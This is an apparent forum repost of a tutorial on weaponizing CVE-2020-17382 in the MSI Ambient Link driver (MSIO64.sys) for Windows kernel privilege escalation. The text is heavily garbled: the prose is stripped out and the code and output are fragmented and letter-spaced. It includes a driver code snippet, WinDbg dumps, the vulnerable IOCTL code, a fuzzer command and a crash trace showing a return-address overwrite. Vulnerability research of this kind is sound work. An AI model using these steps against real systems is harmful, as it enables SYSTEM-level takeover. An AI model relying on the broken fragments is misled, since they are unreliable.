[28604] 2020-09-24_内核开发:武器化CVE-2020-17382MSIAmbientLink驱动程序

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-19
2020-09-24_内核开发:武器化CVE-2020-17382MSIAmbientLink驱动程序 C V E - 2 0 2 0 - 1 7 3 8 2   M S I   A m b i e n t   L i n k S e r g i o   K a l i s i a k   O t s   2 0 2 0 - 0 9 - 2 4 广 S Y S T E M 使 - E t e r n a l B l u e I D A W i n D b g C o r e S e c u r i t y L u c a s   D o m i n i k o w M S I   A m b i e n t   L i n k 使 W i n d o w s   7   S P 1 W i n d o w s   1 0 W i n d o w s   1 0 1 7 0 9 2 0 0 4 P o C r i n g 0 A P I 访 I   /   O 1 9 0 4 1 . 1 . a m d 6 4 f r e . v b _ r e l e a s e . 1 9 1 2 0 6 - 1 4 0 6 1 6 2 9 9 . 1 5 . a m d 6 4 f r e . r s 3 _ r e l e a s e . 1 7 0 9 2 8 - 1 5 3 4 C r e a t e F i l e D E V I C E _ O B J E C T
D r i v e r E n t r y D r i v e r E n t r y D r i v e r E n t r y 使 D r i v e r E n t r y D R I V E R _ O B J E C T R e g i s t r y P a t h N T S T A T U S   D r i v e r E n t r y ( _ I n _   P D R I V E R _ O B J E C T   D r i v e r O b j e c t ,   _ I n _   P U N I C O D E _ S T R I N G   R e g i s t r y P a t h )   {         U N R E F E R E N C E D _ P A R A M E T E R ( R e g i s t r y P a t h ) ;         N T S T A T U S   s t a t u s ;         / /   d e v i c e   o b j e c t         U N I C O D E _ S T R I N G   d e v N a m e   =   R T L _ C O N S T A N T _ S T R I N G ( L " D e v i c e u f 0 D e v i c e O b j e c t " ) ;         P D E V I C E _ O B J E C T   D e v i c e O b j e c t ;         N T S T A T U S   s t a t u s   =   I o C r e a t e D e v i c e ( D r i v e r O b j e c t ,   0 ,   & d e v N a m e ,   F I L E _ D E V I C E _ U N K N O W N ,   0 ,   F A L S E ,   & D e v i c e O b j e c t ) ;                                         / /   s y m l i n k         U N I C O D E _ S T R I N G   s y m L i n k   =   R T L _ C O N S T A N T _ S T R I N G ( L " ? ? u f 0 S y m L i n k " ) ;         s t a t u s   =   I o C r e a t e S y m b o l i c L i n k ( & s y m L i n k ,   & d e v N a m e ) ; }
便 使 A P I   I   /   O   M a n a g e r D i s p a t c h   R o u t i n e s M a j o r F u n c t i o n I R P I R P D r i v e r E n t r y D e v i c e O b j e c t I o I o C r e a t e D e v i c e I o C r e a t e S y m b o l i c L i n k D R I V E R _ O B J E C T I R P _ M J _ C R E A T E   ( 0 ) I R P _ M J _ C L O S E   ( 2 ) I R P _ M J _ R E A D   ( 3 ) I R P _ M J _ W R I T E   ( 4 ) I R P _ M J _ D E V I C E _ C O N T R O L   ( 1 4 ) I R P _ M J _ I N T E R N A L _ D E V I C E _ C O N T R O L   ( 1 5 ) I R P _ M J _ P N P   ( 3 1 ) I R P _ M J _ P O W E R   ( 2 2 ) I R P _ M J _ C R E A T E C r e a t e F i l e I R P _ M J _ C L O S E C l o s e F i l e I R P _ M J _ D E V I C E _ C O N T R O L I R P
I R P I O C T L D L L I   /   O I   /   O I   /   O I R P M S D N I R P I o M a n a g e r I R P I R P I O C T L M S I O 6 4 . s y s I A T 访 D A C L 使 O S R   便 D e v i c e T r e e M m M a p I o S p a c e Z w M a p V i e w O f S e c t i o n m e m m o v e
访 使 访   M S I O 6 4 . s y s D E V D R V S e c u r i t y   A t t r i b u t e s E v e r y o n e M s I o M m M a p I o S p a c e Z w M a p V i e w O f S e c t i o n
I O C T L I O C T L D r i v e r E n t r y R e a l D r i v e r E n t r y R e a l D r i v e r E n t r y
W i n D B G   m i s s i n g   v a l u e s 1 6 D e v i c e M s I o r d i D r i v e r O b j e c t r d i / D r i v e r O b j e c t 0 x 6 8 , 0 x 7 0 , 0 x 8 0 , 0 x E 0 D R I V E R   O B J E C T 0 :   k d >   d t   _ D R I V E R _ O B J E C T n t ! _ D R I V E R _ O B J E C T . . .       + 0 x 0 6 8   D r i v e r U n l o a d           :   P t r 6 4           v o i d       + 0 x 0 7 0   M a j o r F u n c t i o n         :   [ 2 8 ]   P t r 6 4           l o n g 0 x 8 0 0 x E 0 M a j o r F u n c t i o n 0 x 7 0 0 x 8 0
C u r r e n t S t a c k L o c a t i o n   I o S t a t u s . I n f o r m a t i o n 访 I R P 使 W i n D b g M a j o r F u n c t i o n H a n d l e r 1 :   k d >   ! d r v o b j   M S I O 6 4   2 [ . . . ] D i s p a t c h   r o u t i n e s : [ 0 0 ]   I R P _ M J _ C R E A T E                                             f f f f f 8 8 0 0 5 5 b 6 3 f 0   M S I O 6 4 + 0 x 1 3 f 0 [ . . . ] [ 0 2 ]   I R P _ M J _ C L O S E                                               f f f f f 8 8 0 0 5 5 b 6 3 f 0   M S I O 6 4 + 0 x 1 3 f 0 [ . . . ] [ 0 e ]   I R P _ M J _ D E V I C E _ C O N T R O L                             f f f f f 8 8 0 0 5 5 b 6 3 f 0   M S I O 6 4 + 0 x 1 3 f 0 s u b _ 1 1 3 F 0 M s I o D i s p a t c h r d i 0 x 0 b 8 0 x 3 8 1 :   k d >   u   M S I O 6 4 + 1 3 f 0 M S I O 6 4 + 0 x 1 3 f 0 : f f f f f 8 0 2 ` 4 b 4 3 1 3 f 0   4 8 8 b c 4                     m o v           r a x , r s p 1 :   k d >   b p   M S I O 6 4 + 1 3 f 0
I o C o n t r o l C o d e / I O C T L I O C T L   / M a j o r F u n c t i o n 使 I O C T L I D A I O C T L 使 P y t h o n 3 I D A   P r o   1 5 I O C T L I O C T L I O C T L J a i m e   G e i g e r I O C T L 使 I O C T L 1 0 0 0 A s 0 :   k d >   d t   n t ! _ I R P   @ r d x   T a i l . O v e r l a y . C u r r e n t S t a c k L o c a t i o n - > *       + 0 x 0 7 8   T a i l                                                                 :             + 0 x 0 0 0   O v e r l a y                                                           :                   + 0 x 0 4 0   C u r r e n t S t a c k L o c a t i o n                                 :                         + 0 x 0 0 0   M a j o r F u n c t i o n                                               :   0 x e   ' '                         + 0 x 0 0 1   M i n o r F u n c t i o n                                               :   0   ' '                         + 0 x 0 0 2   F l a g s                                                               :   0 x 5   ' '                         + 0 x 0 0 3   C o n t r o l                                                           :   0   ' '                         + 0 x 0 0 8   P a r a m e t e r s                                                     :   < a n o n y m o u s - t a g >                         + 0 x 0 2 8   D e v i c e O b j e c t                                                 :   0 x f f f f 8 0 8 3 ` f 7 d 9 7 a 7 0   _ D E V I C E _ O B J E C T                         + 0 x 0 3 0   F i l e O b j e c t                                                     :   0 x f f f f 8 0 8 3 ` f e 9 a 2 b a 0   _ F I L E _ O B J E C T                         + 0 x 0 3 8   C o m p l e t i o n R o u t i n e                                       :   ( n u l l )                         + 0 x 0 4 0   C o n t e x t                                                           :   ( n u l l ) 0 :   k d >   d t   n t ! _ I R P   @ r d x   T a i l . O v e r l a y . C u r r e n t S t a c k L o c a t i o n - > P a r a m e t e r s . D e v i c e I o C o n t r o l .       + 0 x 0 7 8   T a i l                                                                 :             + 0 x 0 0 0   O v e r l a y                                                           :                   + 0 x 0 4 0   C u r r e n t S t a c k L o c a t i o n                                 :                         + 0 x 0 0 8   P a r a m e t e r s                                                     :                               + 0 x 0 0 0   D e v i c e I o C o n t r o l                                           :                                     + 0 x 0 0 0   O u t p u t B u f f e r L e n g t h                                     :   0                                     + 0 x 0 0 8   I n p u t B u f f e r L e n g t h                                       :   0 x 8 0                                     + 0 x 0 1 0   I o C o n t r o l C o d e                                               :   0 x 8 0 1 0 2 0 4 0                                     + 0 x 0 1 8   T y p e 3 I n p u t B u f f e r                                         :   ( n u l l ) 0 x 8 0 1 0 2 0 4 0 0 x 2 I R P _ M J _ C L O S E C : >   p y t h o n 3   b a s i c _ f u z z e r . p y   - d   . M s I o   - i   0 x 8 0 1 0 2 0 4 0   - l   1 0 0 0
I O C T L I D A C o r e   S e c u r i t y 7 2 M S I O 6 4 . s y s R i n g 0 使 s h e l l c o d e   S Y S T E M W i n d o w s   7 使 W i n d o w s 1 0 2 :   k d >   k   #   C h i l d - S P                     R e t A d d r                       C a l l   S i t e 0 0   f f f f a 6 8 7 ` 1 8 b 1 6 6 0 8   f f f f f 8 0 2 ` 2 3 c 1 2 8 0 2   n t ! D b g B r e a k P o i n t W i t h S t a t u s 0 1   f f f f a 6 8 7 ` 1 8 b 1 6 6 1 0   f f f f f 8 0 2 ` 2 3 c 1 2 0 8 7   n t ! K i B u g C h e c k D e b u g B r e a k + 0 x 1 2 0 2   f f f f a 6 8 7 ` 1 8 b 1 6 6 7 0   f f f f f 8 0 2 ` 2 3 b 7 6 8 d 7   n t ! K e B u g C h e c k 2 + 0 x 9 3 7 0 3   f f f f a 6 8 7 ` 1 8 b 1 6 d 9 0   f f f f f 8 0 2 ` 2 3 b 9 0 7 d b   n t ! K e B u g C h e c k E x + 0 x 1 0 7 0 4   f f f f a 6 8 7 ` 1 8 b 1 6 d d 0   f f f f f 8 0 2 ` 2 3 b 8 2 1 c e   n t ! K i D i s p a t c h E x c e p t i o n + 0 x 1 6 2 0 2 b 0 5   f f f f a 6 8 7 ` 1 8 b 1 7 4 8 0   f f f f f 8 0 2 ` 2 3 b 8 0 2 3 4   n t ! K i E x c e p t i o n D i s p a t c h + 0 x c e 0 6   f f f f a 6 8 7 ` 1 8 b 1 7 6 6 0   f f f f f 8 0 2 ` 2 3 1 8 1 6 b 9   n t ! K i G e n e r a l P r o t e c t i o n F a u l t + 0 x f 4 0 7   f f f f a 6 8 7 ` 1 8 b 1 7 7 f 8   4 1 4 1 4 1 4 1 ` 4 1 4 1 4 1 4 1   M S I O 6 4 + 0 x 1 6 b 9 m e m m o v e r d x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则